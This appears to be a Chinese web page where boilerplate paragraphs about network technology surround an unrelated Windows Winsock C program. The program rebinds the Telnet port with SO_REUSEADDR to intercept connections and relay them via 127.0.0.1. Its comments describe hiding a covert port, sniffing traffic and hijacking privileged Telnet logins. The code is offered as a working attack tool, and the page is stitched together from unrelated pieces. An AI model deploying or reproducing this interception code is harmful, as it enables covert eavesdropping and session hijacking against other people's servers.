|
網(wǎng)絡(luò)技術(shù)是從1990年代中期發(fā)展起來(lái)的新技術(shù),它把互聯(lián)網(wǎng)上分散的資源融為有機(jī)整體,實(shí)現(xiàn)資源的全面共享和有機(jī)協(xié)作,使人們能夠透明地使用資源的整體能力并按需獲取信息。資源包括高性能計(jì)算機(jī)、存儲(chǔ)資源、數(shù)據(jù)資源、信息資源、知識(shí)資源、專家資源、大型數(shù)據(jù)庫(kù)、網(wǎng)絡(luò)、傳感器等。 當(dāng)前的互聯(lián)網(wǎng)只限于信息共享,網(wǎng)絡(luò)則被認(rèn)為是互聯(lián)網(wǎng)發(fā)展的第三階段。 以下是代碼片段:#include #include #include #include DWORD WINAPI ClientThread(LPVOID lpParam); int main() { WORD wVersionRequested; DWORD ret; WSADATA wsaData; BOOL val; SOCKADDR_IN saddr; SOCKADDR_IN scaddr; int err; SOCKET s; SOCKET sc; int caddsize; HANDLE mt; DWORD tid; wVersionRequested = MAKEWORD( 2, 2 ); err = WSAStartup( wVersionRequested, &wsaData ); if ( err != 0 ) { printf("error!WSAStartup failed!\n"); return -1; } saddr.sin_family = AF_INET; //截聽(tīng)雖然也可以將地址指定為INADDR_ANY,但是要不能影響正常應(yīng)用情況下,應(yīng)該指定具體的IP,留下127.0.0.1給正常的服務(wù)應(yīng)用,然后利用這個(gè)地址進(jìn)行轉(zhuǎn)發(fā),就可以不影響對(duì)方正常應(yīng)用了 saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); saddr.sin_port = htons(23); if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) { printf("error!socket failed!\n"); return -1; } val = TRUE; //SO_REUSEADDR選項(xiàng)就是可以實(shí)現(xiàn)端口重綁定的 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) { printf("error!setsockopt failed!\n"); return -1; } //如果指定了SO_EXCLUSIVEADDRUSE,就不會(huì)綁定成功,返回?zé)o權(quán)限的錯(cuò)誤代碼; //如果是想通過(guò)重利用端口達(dá)到隱藏的目的,就可以動(dòng)態(tài)的測(cè)試當(dāng)前已綁定的端口哪個(gè)可以成功,就說(shuō)明具備這個(gè)漏洞,然后動(dòng)態(tài)利用端口使得更隱蔽 //其實(shí)UDP端口一樣可以這樣重綁定利用,這兒主要是以TELNET服務(wù)為例子進(jìn)行攻擊 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) { ret=GetLastError(); printf("error!bind failed!\n"); return -1; } listen(s,2); while(1) { caddsize = sizeof(scaddr); //接受連接請(qǐng)求 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); if(sc!=INVALID_SOCKET) { mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); if(mt==NULL) { printf("Thread Creat Failed!\n"); break; } } CloseHandle(mt); } closesocket(s); WSACleanup(); return 0; } DWORD WINAPI ClientThread(LPVOID lpParam) { SOCKET ss = (SOCKET)lpParam; SOCKET sc; unsigned char buf[4096]; SOCKADDR_IN saddr; long num; DWORD val; DWORD ret; //如果是隱藏端口應(yīng)用的話,可以在此處加一些判斷 //如果是自己的包,就可以進(jìn)行一些特殊處理,不是的話通過(guò)127.0.0.1進(jìn)行轉(zhuǎn)發(fā) saddr.sin_family = AF_INET; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); saddr.sin_port = htons(23); if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) { printf("error!socket failed!\n"); return -1; } val = 100; if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { ret = GetLastError(); return -1; } if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) { ret = GetLastError(); return -1; } if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) { printf("error!socket connect failed!\n"); closesocket(sc); closesocket(ss); return -1; } while(1) { //下面的代碼主要是實(shí)現(xiàn)通過(guò)127。0。0。1這個(gè)地址把包轉(zhuǎn)發(fā)到真正的應(yīng)用上,并把應(yīng)答的包再轉(zhuǎn)發(fā)回去。 //如果是嗅探內(nèi)容的話,可以再此處進(jìn)行內(nèi)容分析和記錄 //如果是攻擊如TELNET服務(wù)器,利用其高權(quán)限登陸用戶的話,可以分析其登陸用戶,然后利用發(fā)送特定的包以劫持的用戶身份執(zhí)行。 num = recv(ss,buf,4096,0); if(num>0) send(sc,buf,num,0); else if(num==0) break; num = recv(sc,buf,4096,0); if(num>0) send(ss,buf,num,0); else if(num==0) break; } closesocket(ss); closesocket(sc); return 0 ; } 網(wǎng)絡(luò)的神奇作用吸引著越來(lái)越多的用戶加入其中,正因如此,網(wǎng)絡(luò)的承受能力也面臨著越來(lái)越嚴(yán)峻的考驗(yàn)―從硬件上、軟件上、所用標(biāo)準(zhǔn)上......,各項(xiàng)技術(shù)都需要適時(shí)應(yīng)勢(shì),對(duì)應(yīng)發(fā)展,這正是網(wǎng)絡(luò)迅速走向進(jìn)步的催化劑。 |
溫馨提示:喜歡本站的話,請(qǐng)收藏一下本站!